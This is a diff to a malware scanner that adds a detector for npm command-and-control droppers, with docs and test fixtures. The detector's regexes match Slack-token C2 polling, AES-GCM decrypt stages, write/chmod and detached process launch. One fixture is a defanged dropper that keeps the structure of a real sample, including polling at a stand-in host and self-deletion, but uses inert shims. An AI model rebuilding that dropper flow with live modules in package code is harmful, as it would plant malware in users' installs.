diff --git a/docs/detectors.md b/docs/detectors.md index ecaf72e..425a14e 100644 --- a/docs/detectors.md +++ b/docs/detectors.md @@ -58,6 +58,11 @@ These use `ctx.config` values from `packages/rules/languages/*.json`. - Flags file-level cluster: secrets-path + network, or shell + network. - Severity: `warn`. +### `obf.npm-c2-dropper` +- Flags JavaScript/TypeScript package code with C2 polling, decrypt-stage, + write/chmod, and child-process launch signals. +- Severity: `block`. + ### `obf.string-array-decoder.` - Flags obfuscator-style string-array + decoder + sink pattern. - Severity: `block`. diff --git a/packages/core/src/detectors/index.ts b/packages/core/src/detectors/index.ts index 029807b..2346a10 100644 --- a/packages/core/src/detectors/index.ts +++ b/packages/core/src/detectors/index.ts @@ -25,6 +25,7 @@ import { suspiciousIoCluster } from "./suspicious-io-cluster.js"; import { stringArrayDecoder } from "./string-array-decoder.js"; import { shellUntrustedInput } from "./shell-untrusted-input.js"; import { libraryLoadNonLiteral } from "./library-load-non-literal.js"; +import { npmC2Dropper } from "./npm-c2-dropper.js"; // Manifest — ecosystem-specific detectors import { manifestInstallScript } from "./manifest-install-script.js"; @@ -52,6 +53,7 @@ const DEFAULTS: readonly Detector[] = Object.freeze([ dynamicExecNonLiteral, deserializerUntrusted, suspiciousIoCluster, + npmC2Dropper, stringArrayDecoder, shellUntrustedInput, libraryLoadNonLiteral, @@ -77,6 +79,7 @@ export { networkThenExec, deserializerUntrusted, suspiciousIoCluster, + npmC2Dropper, stringArrayDecoder, shellUntrustedInput, libraryLoadNonLiteral, diff --git a/packages/core/src/detectors/npm-c2-dropper.ts b/packages/core/src/detectors/npm-c2-dropper.ts new file mode 100644 index 0000000..3121239 --- /dev/null +++ b/packages/core/src/detectors/npm-c2-dropper.ts @@ -0,0 +1,80 @@ +/** + * obf.npm-c2-dropper — Layer B/package malware heuristic. + * + * Flags the combined shape used by npm C2 droppers: package code polls a C2 + * API, decrypts staged content, writes it to disk, marks it executable, and + * launches it with Node or a child process. Each individual API is common; + * the cluster is the signal. + */ + +import type { Detector, FileContext, Finding } from "../types.js"; +import { lineAtOffset, MAX_SOURCE_BYTES } from "../internal/patterns.js"; +import { truncateSnippet } from "../internal/text.js"; + +const JS_LIKE = new Set(["javascript", "typescript"]); + +const C2_RE = + /(?:slack\.com|conversations\.history|auth\.test|\bAuthorization\s*:\s*["']Bearer\s+|\bxox[abprs]-)/; +const CRYPTO_RE = /(?:AES-GCM|PBKDF2|subtle|\.decrypt\s*\(|deriveKey\s*\(|importKey\s*\()/; +const WRITE_RE = /\bwriteFileSync\s*\(/; +const CHMOD_RE = /\bchmodSync\s*\(/; +const CHILD_PROCESS_RE = + /(?:\bspawn\s*[:=,}]|\bexecSync\s*[:=,}]|\bchild_process\b|\bprocess\.execPath\b|\b\.unref\s*\()/; +const SELF_DELETE_RE = /\bunlinkSync\s*\(\s*__filename\b/; + +export const npmC2Dropper: Detector = { + id: "obf.npm-c2-dropper", + docsUrl: "https://github.com/bytebardorg/obfuscan/blob/main/docs/detectors.md#obfnpm-c2-dropper", + + applies(ctx: FileContext): boolean { + return ( + ctx.source.length > 0 && + ctx.source.length < MAX_SOURCE_BYTES && + (ctx.languageId === null || JS_LIKE.has(ctx.languageId)) + ); + }, + + run(ctx: FileContext): Finding[] { + const src = ctx.source; + const c2 = C2_RE.exec(src); + if (!c2) return []; + + const crypto = CRYPTO_RE.exec(src); + if (!crypto) return []; + + const write = WRITE_RE.exec(src); + const chmod = CHMOD_RE.exec(src); + const child = CHILD_PROCESS_RE.exec(src); + const selfDelete = SELF_DELETE_RE.exec(src); + if (!write || !chmod || !child) return []; + + const offset = Math.min( + c2.index, + crypto.index, + write.index, + chmod.index, + child.index, + selfDelete?.index ?? Number.POSITIVE_INFINITY, + ); + + return [{ + ruleId: npmC2Dropper.id, + severity: "block", + score: 10, + file: ctx.path, + line: lineAtOffset(src, offset), + snippet: truncateSnippet(src.slice(offset, offset + 200)), + reason: + `JavaScript package contains C2 polling, decrypt-stage, write/chmod, ` + + `and child-process launch signals. This matches npm command-and-control dropper behavior.`, + evidence: { + c2: c2[0], + crypto: crypto[0], + writesFile: true, + chmodsFile: true, + launchesChildProcess: true, + selfDelete: !!selfDelete, + }, + }]; + }, +}; diff --git a/packages/core/test/fixtures/benign/javascript/defanged-slack-c2-loader/SOURCE.md b/packages/core/test/fixtures/benign/javascript/defanged-slack-c2-loader/SOURCE.md new file mode 100644 index 0000000..c0ae90f --- /dev/null +++ b/packages/core/test/fixtures/benign/javascript/defanged-slack-c2-loader/SOURCE.md @@ -0,0 +1,13 @@ +# Defanged Slack C2 Loader + +This fixture is based on a real-world malicious npm package sample reported by a user. + +The source has been defanged before inclusion: + +- No live Slack token or channel id remains. +- The network client is a stub and never sends requests. +- The decrypt function is a stub and never returns payload content. +- File deletion, file writing, chmod, process spawning, and polling are removed. +- The initialization block only logs a disabled message. + +This fixture verifies that a fully disabled/remediated copy of the loader does not produce a block finding. diff --git a/packages/core/test/fixtures/benign/javascript/defanged-slack-c2-loader/expected.json b/packages/core/test/fixtures/benign/javascript/defanged-slack-c2-loader/expected.json new file mode 100644 index 0000000..4e9e821 --- /dev/null +++ b/packages/core/test/fixtures/benign/javascript/defanged-slack-c2-loader/expected.json @@ -0,0 +1,5 @@ +{ + "description": "defanged Slack C2 loader sample remains non-blocking after network, decrypt, execution, and self-modifying behavior are removed", + "expectClean": true, + "mustNotFlag": ["obf.npm-c2-dropper"] +} diff --git a/packages/core/test/fixtures/benign/javascript/defanged-slack-c2-loader/input.js b/packages/core/test/fixtures/benign/javascript/defanged-slack-c2-loader/input.js new file mode 100644 index 0000000..babf4fb --- /dev/null +++ b/packages/core/test/fixtures/benign/javascript/defanged-slack-c2-loader/input.js @@ -0,0 +1,55 @@ +// DEFANGED: previously malicious C2 loader using Slack as command & control. +// All network, decryption, execution and self-modifying behavior removed. + +let l = require("https"); // kept for structure; not actually used +require("os"); +let o = require("fs"), + t = require("path"); +var e = require("crypto").webcrypto; +let { spawn: c, execSync: i } = require("child_process"); + +// Redacted secrets and identifiers +let u = "REDACTED_SLACK_TOKEN"; +let d = "REDACTED_CHANNEL_ID"; + +// Original argv usage preserved but no longer used for anything sensitive. +let f = process.argv[2]; +let s = Number(process.argv[3]); + +// Keep paths/vars but do not use them for execution +let h = t.join(__dirname, "subwatcher"); +let m = "0"; +let y = null; +let p = null; +let w = {}; +let n = e.subtle; + +// Stub for decrypt function: logs and returns null. +async function S(enc, key) { + console.log("[DEFANGED] S() called; ignoring payload"); + return null; +} + +// Stub for Slack API client: never sends network requests. +function v(method, path, body) { + console.log("[DEFANGED] v() called with:", { method, path, body }); + return Promise.resolve({ ok: false, error: "defanged" }); +} + +// Stub for self-delete / cleanup. +function g() { + console.log("[DEFANGED] g() called; no file operations performed"); +} + +// Stub for polling logic. +async function r() { + console.log("[DEFANGED] r() polling stub invoked"); +} + +// Initialization stub. +(async () => { + console.log("[DEFANGED] malicious loader disabled"); + // Do not call auth.test or start setInterval +})().catch((e) => { + console.error("[DEFANGED] Fatal error:", e && e.message); +}); diff --git a/packages/core/test/fixtures/malicious/javascript/slack-c2-dropper/SOURCE.md b/packages/core/test/fixtures/malicious/javascript/slack-c2-dropper/SOURCE.md new file mode 100644 index 0000000..6c245dd --- /dev/null +++ b/packages/core/test/fixtures/malicious/javascript/slack-c2-dropper/SOURCE.md @@ -0,0 +1,14 @@ +# Slack C2 Dropper + +This fixture models a real-world malicious npm package sample reported by a user. + +The fixture is defanged before inclusion: + +- It imports no real Node modules. +- `https`, `fs`, `path`, `child`, and `crypto` are inert local shim objects. +- The Slack token, channel id, host, encrypted content, salt, and IV are redacted placeholders. +- `example.invalid` is used instead of the original C2 host. +- No function is invoked at module load time. +- Even if imported, the APIs called by exported functions are local no-op shims. + +The retained static structure is intentional: Slack/C2 API markers, PBKDF2/AES-GCM decrypt-stage markers, write/chmod staging, child-process launch shape, and self-delete shape. diff --git a/packages/core/test/fixtures/malicious/javascript/slack-c2-dropper/expected.json b/packages/core/test/fixtures/malicious/javascript/slack-c2-dropper/expected.json new file mode 100644 index 0000000..25d15ac --- /dev/null +++ b/packages/core/test/fixtures/malicious/javascript/slack-c2-dropper/expected.json @@ -0,0 +1,5 @@ +{ + "description": "defanged structural Slack C2 dropper fixture is blocked by the npm C2 dropper detector", + "mustFlag": ["obf.npm-c2-dropper"], + "mustBlock": ["obf.npm-c2-dropper"] +} diff --git a/packages/core/test/fixtures/malicious/javascript/slack-c2-dropper/input.js b/packages/core/test/fixtures/malicious/javascript/slack-c2-dropper/input.js new file mode 100644 index 0000000..b8abe6f --- /dev/null +++ b/packages/core/test/fixtures/malicious/javascript/slack-c2-dropper/input.js @@ -0,0 +1,72 @@ +// DEFANGED STRUCTURAL REGRESSION: no real modules are imported and every side-effect API is an inert local shim. +// The strings and call shapes model a Slack-backed npm C2 dropper without live secrets, live domains, or executable payloads. + +const https = { + request(_options, _handler) { + return { on() {}, write() {}, end() {} }; + }, +}; + +const fs = { + writeFileSync() {}, + chmodSync() {}, + unlinkSync() {}, +}; + +const path = { + join(...parts) { + return parts.join("/"); + }, +}; + +const child = { + spawn() { + return { unref() {} }; + }, +}; + +const crypto = { + subtle: { + importKey() {}, + deriveKey() {}, + decrypt() {}, + }, +}; + +const token = "xoxb-REDACTED-REDACTED-REDACTED"; +const channel = "REDACTED_CHANNEL_ID"; +const out = path.join("defanged", "subwatcher"); + +async function decryptStage(encrypted, key) { + await crypto.subtle.importKey("raw", key, "PBKDF2", false, ["deriveKey"]); + await crypto.subtle.deriveKey( + { name: "PBKDF2", salt: "redacted", iterations: 100000, hash: "SHA-256" }, + key, + { name: "AES-GCM", length: 256 }, + false, + ["decrypt"], + ); + return crypto.subtle.decrypt({ name: "AES-GCM", iv: "redacted" }, key, encrypted); +} + +function pollSlackC2() { + const headers = { Authorization: "Bearer " + token }; + return https.request({ + hostname: "example.invalid", + path: "/api/conversations.history?channel=" + channel, + method: "GET", + headers, + }, () => {}); +} + +function stageAndLaunch(defangedPayload) { + fs.writeFileSync(out, defangedPayload, "utf8"); + fs.chmodSync(out, "755"); + child.spawn(process.execPath, [out], { detached: true, stdio: "ignore", windowsHide: true }).unref(); +} + +function cleanup() { + fs.unlinkSync(__filename); +} + +export { decryptStage, pollSlackC2, stageAndLaunch, cleanup };